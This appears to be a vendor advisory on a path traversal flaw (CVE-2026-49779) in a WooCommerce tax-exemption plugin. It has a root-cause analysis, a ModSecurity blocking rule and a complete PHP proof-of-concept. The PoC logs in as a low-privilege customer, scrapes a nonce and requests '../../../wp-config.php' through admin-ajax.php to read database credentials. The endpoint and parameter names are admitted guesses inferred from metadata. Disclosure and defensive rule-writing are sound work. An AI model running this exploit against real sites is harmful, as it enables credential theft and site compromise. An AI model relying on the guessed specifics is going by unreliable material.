Atomic Edge analysis of CVE-2026-49779 (metadata-based):
This vulnerability is a Path Traversal flaw in the Tax Exempt for WooCommerce plugin (slug: woocommerce-tax-exempt-plugin) versions up to 1.9.3. It allows authenticated attackers with Customer-level access (or higher) to perform actions on files outside the intended directory. The CVSS score is 4.3 (Medium) with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, indicating network-based, low-complexity exploitation requiring low privileges, no user interaction, and resulting in limited integrity impact with no confidentiality or availability impact.
Root Cause: Based on the CWE-22 classification (Path Traversal) and the description, the vulnerability likely stems from insufficient validation of user-supplied file paths in one or more plugin functions. No code diff is available, but Atomic Edge research infers that the plugin accepts a parameter (likely a file path or filename) without properly sanitizing or restricting it to an expected directory. This could occur in a file export, import, download, or deletion feature where the plugin constructs file operations using input like a ‘file’ or ‘path’ parameter. The root cause is almost certainly missing or inadequate use of WordPress functions such as wp_normalize_path(), realpath(), or trailingslashit(), or a lack of directory traversal checks.
Exploitation: An attacker with a Customer-level account (or higher) can exploit this by sending a crafted HTTP request to a vulnerable endpoint. Atomic Edge research infers the attack vector is an AJAX action (e.g., woocommerce-tax-exempt-plugin_export) or a direct admin-post handler that accepts a file path parameter. The request would include a path traversal sequence (e.g., ../../../../../etc/passwd or similar) to read, manipulate, or delete files outside the plugin’s intended directory. For example, sending a POST to /wp-admin/admin-ajax.php with action=woocommerce_tax_exempt_download_file&file=../../../wp-config.php could allow downloading the WordPress configuration file if the plugin improperly uses the ‘file’ parameter in a file read operation.
Remediation: To fix this vulnerability, the plugin must properly validate all file paths before performing file operations. Atomic Edge analysis recommends implementing a whitelist of allowed directories (e.g., using realpath() to resolve the base path and then checking that the resolved path starts with that base). Additionally, the plugin should use WordPress functions like wp_normalize_path() and trailingslashit() to standardize paths, and apply strict input validation (e.g., rejecting any path containing ‘..’ unless explicitly handled for specific use cases). The plugin should also enforce proper capability checks and nonce verification for all file-related AJAX actions, though the CVE credits indicate Customer+ access is already required.
Impact: If exploited, an attacker with low privileges (Customer) could read, modify, or delete arbitrary files on the WordPress server that the web server user has access to. This could lead to disclosure of sensitive information (e.g., wp-config.php with database credentials), modification of plugin or theme files to inject malicious code, or deletion of critical files causing denial-of-service. The CVSS integrity score of ‘Low’ suggests the impact is limited (e.g., possibly only certain file types or read-only operations), but Atomic Edge research notes that even limited file reads can expose database credentials, leading to further compromise.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-49779 (metadata-based)
# Block path traversal attempts in the 'woocommerce_tax_exempt_download_file' AJAX action
# Assumes the vulnerable action is 'woocommerce_tax_exempt_download_file' and parameter 'file'
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-49779 Path Traversal via Tax Exempt for WooCommerce AJAX',severity:'CRITICAL',tag:'CVE-2026-49779'"
SecRule ARGS_POST:action "@streq woocommerce_tax_exempt_download_file" "chain"
SecRule ARGS_POST:file "@rx ../"
"t:urlDecode,setvar:'tx.anomaly_score=+10'"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-49779 - Tax Exempt for WooCommerce <= 1.9.3 - Authenticated (Customer+) Path Traversal
/**
* This PoC assumes the vulnerable endpoint is an AJAX action that accepts a 'file' parameter
* for downloading exported tax exemption data. It exploits a path traversal in that parameter.
*
* Assumptions:
* - The attacker has valid WordPress credentials with Customer-level access or higher.
* - The vulnerable AJAX action is 'woocommerce_tax_exempt_download_file'.
* - The plugin uses the 'file' parameter directly in a file read operation without sanitization.
* - The target WordPress site has the plugin installed and active.
*/
$target_url = 'https://example.com'; // CHANGE THIS to the target WordPress site URL
$username = 'customer_user'; // CHANGE THIS to a valid username with Customer role
$password = 'customer_password'; // CHANGE THIS to the user's password
// Path to a file we want to read (example: wp-config.php)
$traversal_path = '../../../wp-config.php';
// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Extract nonce (if required) from admin page or inline
// Note: This PoC assumes no nonce is required, or we can obtain one from a related page.
$nonce = '';
// Attempt to fetch the plugin's settings page to extract a nonce if needed
$settings_url = $target_url . '/wp-admin/admin.php?page=woocommerce-tax-exempt-settings';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$settings_page = curl_exec($ch);
curl_close($ch);
// Try to extract nonce from a hidden field (common pattern: _wpnonce or woocommerce_tax_exempt_nonce)
preg_match('/id="_wpnonce" value="([^"]+)"/', $settings_page, $matches);
if (isset($matches[1])) {
$nonce = $matches[1];
}
// Step 3: Send the malicious AJAX request with path traversal
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
'action' => 'woocommerce_tax_exempt_download_file',
'file' => $traversal_path,
];
// If we found a nonce, include it
if (!empty($nonce)) {
$post_data['_wpnonce'] = $nonce;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$result = curl_exec($ch);
curl_close($ch);
// Step 4: Output the result (the file contents if successful)
echo "Response from server:n";
echo $result;
?>